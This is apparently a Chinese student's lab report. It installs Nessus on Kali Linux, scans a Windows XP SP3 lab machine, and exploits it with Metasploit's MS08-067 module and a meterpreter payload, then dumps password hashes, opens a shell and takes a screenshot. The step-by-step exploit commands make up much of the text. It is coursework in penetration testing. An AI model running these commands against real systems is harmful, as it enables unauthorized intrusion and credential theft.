题目

在KALI中安装NESSUS，对目标XP SP3主机进行扫描；根据扫描得到的漏洞结果利用metasploit框架（命令行模式）完成利用，对XP主机（关闭系统的安全防护措施）实施渗透攻击：

（1）熟练掌握metasploit中的常见指令

（2）攻击效果应该能获取XP主机的屏幕截图（屏幕截图个性化，比如用记事本打开输入个人学号等信息），并将截图作为实验报告的一部分提交

（3）Armitage工具的渗透过程可以基于命令行的操作基础上自己实践

解答

(0) Nessus安装

软件安装

在https://www.tenable.com/downloads/nessus下载对应安装包，本人使用的是61为kali linux，下载的是

# 解压安装包
sudo dpkg -i Nessus-8.10.0-debian6_amd64.deb
# 启动服务
/etc/init.d/nessusd start
# 查看服务
sudo netstat -ntpl | grep nessus

表示安装成功

配置

在浏览器中输入https://localhost:8834/,点击```Advanced```,根据提示输入激活码,设置账户root,密码123456

使用浏览器更新插件易出现卡死情况,这时候需要用命令行手动更新

sudo /opt/nessus/sbin/nessuscli update --plugins-only

重启服务

sudo /etc/init.d/nessusd restart

安装成功

(1) metasploit常见指令

(2) 扫描目标XP SP3主机

查看xp的ip地址

得到ip地址: 192.168.89.141

使用nessus扫描

new scan -> advanced scan

点击save启动扫描

下面利用漏洞ms08_067

使用metasploit

==xp关闭防火墙并打开445端口==

telnet 192.168.89.141 445

445端口打开

445端口关闭

（本系统的445端口默认关闭）

防火墙和自动更新已关闭

打开metasploit

查看对应漏洞相关攻击模块

search ms08_067

选定要进行渗透的攻击模块

use exploit/windows/smb/ms08_067_netapi

查看模块有关选项

show options

设定攻击目标

set RHOST 192.168.89.141

开始攻击

exploit

攻击成功

利用漏洞对目标主机进行控制

show payloads

使用正向连接shell

set payload windows/meterpreter/bind_tcp

show options查看该攻击载荷有无其它要求

设置系统版本号

XP sp3 中文简体办->34

set target 34

攻击

exploit

攻击成功

得到用户信息

hashdump

获取目标主机的控制权

shell

浏览目标主机目录

退回meterpreter

屏幕快照

screenshot